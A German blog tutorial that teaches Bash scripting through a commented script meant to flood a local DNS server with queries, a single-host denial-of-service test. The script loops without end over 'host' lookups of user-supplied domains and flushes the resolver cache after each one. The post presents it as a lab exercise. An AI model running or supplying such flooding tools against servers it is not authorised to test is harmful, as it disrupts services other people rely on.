Bring deinen DNS-Server zum Glühen!

Viele denken beim Begriff Linux nur an bestimmte Betriebssysteme wie Kali oder Parrot OS. Für Sie geht es bei der Verwendung von Linux nur darum anderen Administratoren Schweißperlen auf die Stirn zu treiben. So lassen sich mithilfe von Kali oder Parrot im Handumdrehen gezielte Angriffe gegen Netzwerk-Infrastrukturen fahren.

Häufig wird dabei auf fertige Skripte oder kleine Programme aus dem Lieferumfang der Pentesting-Systeme zurückgegriffen. Selbstredend ist Hacken verboten und darum soll es in diesem Beitrag auch nicht gehen. Viel mehr möchte ich dir zeigen, warum Bash-Scripting heute zum Standardreportoire eines jeden Linux-Admins gehört.

Scriddie 2.0 oder wie ein Bash-Script nutzen:

Von dem Begriff Scriptkiddie hast du bestimmt schon mal gehört. Gemeint sind damit Personen, die ohne große Kenntnisse versuchen in andere Computersysteme einzudringen oder einfach Schaden anzurichten. Es werden also irgendwelche Anleitungen befolgt und verschiedene Skripte durchprobiert in der Hoffnung, dass man Erfolg hat.

Und genau an diesem Punkt setzen wir an. Wir nutzen nicht einfach irgendein Skript und hoffen das Beste. Nein, wir schreiben uns ein eigenes Bash-Skript, mit dem wir einen lokalen DNS-Server mit Anfragen bombardieren können. Da wir hier nur von einem Rechner aus arbeiten, handelt es sich um eine Denial of Service Attacke. Und wie so ein fertiges Skript aussieht, willst du wissen?

Im Folgenden siehst du meinen Entwurf und das mit allen nur erdenklichen Kommentaren. Schließlich sollst du hier nicht einfach nur copy & paste betreiben und dich dann am Anblick des laufenden Skripts erfreuen. Ich will dir zeigen, wie Bash-Skripte grundlegend funktionieren. Und welches Thema würde sich da besser eignen als Hacken für Einsteiger?!

Damit du das Skript an deinem Linux-Rechner ausprobieren kannst, musst du zuerst eine passende Datei erstellen. Dies gelingt dir mit touch /pfad/zum/skript/name.sh Nun machst du das File noch ausführbar. Am einfachsten geht das mit chmod 770 /pfad/zum/skript/name.sh Jetzt kannst du die Datei mittels des Kommandos bash /pfad/zum/skript/name.sh jederzeit ausführen.

Doch das Wichtigste fehlt noch. Die Rede ist natürlich vom Inhalt. Öffne die Datei und kopiere den unten aufgeführten Code hinein. Schau dir aber auch mal meine Kommentare genau an, um ein grundlegendes Verständnis für Bash-Scripting zu erlangen und so in Zukunft selber Skripte schreiben zu können. Aber jetzt genug gelabert, hier ist mein Denial of Service Skript für DNS-Testzwecke.

#!/bin/bash # Shebang -> Ausführung des Skripts in der Bash-Shell

#########################################
# DNS Denial of Service von Fabian Wüst #
#           Version 1.1 Debian          #
#          mail@fabian-wuest.de         #
#########################################

# Definition der im Skript verwendeten Variablen

boese_buben=1
abfragen=0

speicherort="tmp"
zwischenspeicher="dns-zwischenspeicher.txt"

# Begrüßung des Users mittels echo, um Text auszugeben!

echo
echo "Denial of Service für interne DNS-Server-Tests"
echo

# Frage bei der eine Variable mittels read -p eingelesen wird.

read -p "Möchtest du das Skript ausführen? [J/n] " ok
echo

# Case-Bedingung, die das Skript bei der Eingabe von Nein abbricht.

case $ok in 

	[nN])             echo "Das Programm wurde beendet."
		          echo 
	                  exit 0;;
   	[nN][eE][iI][nN]) echo "Das Programm wurde beendet."
			  echo   	
   			  exit 0;;
   	   
esac

# Ermittlung des aktuellen Users.

local_user=$(whoami)

# Erstellung einer Datei für die Ausgabe des Befehls host.

if [ ! -e /$speicherort/$zwischenspeicher ] 

then

# Datei als Zwischenspeicher anlegen.

touch /$speicherort/$zwischenspeicher 

# Eigentümer und Gruppe der Datei auf aktuellen User festlegen.

chown -R $local_user:$local_user /$speicherort/$zwischenspeicher 

# Lesen und Schreiben setzen für Eigentümer und dessen Gruppe.

chmod 660 /$speicherort/$zwischenspeicher # Rechte setzen

fi

# Frage mit Einlesen der Antwort in die Variable entscheidung.

read -p "Mit vorgegebenen Domains arbeiten? [J/n] " entscheidung
echo

# If-Anweisung bzw. Bedingung für die Antwort Nein

if [ $entscheidung == N ] || [ $entscheidung == n ];

then

# Einlesen von URLS in die Variable userwebseiten

	read -p "URLs mit Leerzeichen getrennt: " userwebseiten
	echo
	echo "Achtung: Bei Rechtschreibfehlern mit Strg + C abbrechen."
	echo
	sleep 10 #Skript pausiert für 10 Sekunden an dieser Stelle

# Variable userwebseiten umwandeln in ein Array	

eigenewebseiten+=($userwebseiten)

# Ermitteln, wie viele Webseiten im Array gespeichert sind

anzahleigenewebseiten=$(echo ${#eigenewebseiten[*]}) 

# Zahl generieren zwischen 0 und maximale Anzahl an Webseiten

zahl=$(( $RANDOM%$anzahleigenewebseiten+0 )) 

# Dauerschleife für die DNS-Anfragen der eigenen Domains

 while [ $boese_buben -ge 0 ]
 
 	do
 
        host ${eigenewebseiten[$zahl]} > /$speicherort/$zwischenspeicher # Ausgabe in Datei speichern mit überschreiben
         
        cat /$speicherort/$zwischenspeicher
                
         systemd-resolve --flush-caches
         
         zwischenstand=$(wc -l /$speicherort/$zwischenspeicher | awk '{ print $1 }') # Zeilenanzahl ermitteln und nur Zahl ausgeben
         abfragen=$(( abfragen + zwischenstand )) 
         
         echo
         echo "Insgesamt wurden $abfragen Anfragen erstellt, wobei gerade $zwischenstand Neue hinzugekommen sind."
         echo
         zahl=$(( $RANDOM%$anzahleigenewebseiten+0 ))
         
	done

else

# Variablendefinition

	fertigewebseiten=(webseite.tld webseite2.tld webseite3.tld)
	zahlfertige=$(( $RANDOM%2+0 ))

# Dauerschleife für DNS-Anfragen der Webseitenliste

	while [ $boese_buben -ge 0 ]
 
	do

	host ${fertigewebseiten[$zahlfertige]} > /$speicherort/$zwischenspeicher
         
      	cat /$speicherort/$zwischenspeicher
                
      	systemd-resolve --flush-caches
         
        zwischenstand=$(wc -l /$speicherort/$zwischenspeicher | awk '{ print $1 }')
        abfragen=$(( abfragen + zwischenstand ))
         
        echo
       	echo "Insgesamt wurden $abfragen Anfragen erstellt, wobei gerade $zwischenstand Neue hinzugekommen sind."
       	echo
       	zahlfertige=$(( $RANDOM%2+0 ))
     
	done
         
fi

Von Fabian Wüst

Er ist leidenschaftlicher Open-Source-Benutzer und ein begeisterter Technologie-Enthusiast. Als kreativer Kopf hinter Homelabtopia bringt Fabian hier seine umfangreiche Erfahrung als Linux-Admin ein. Um sicherzustellen, dass du aus seinen Beiträgen den größtmöglichen Nutzen ziehen kannst, führt er ausgiebige Tests durch und errichtet dafür immense Setups.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert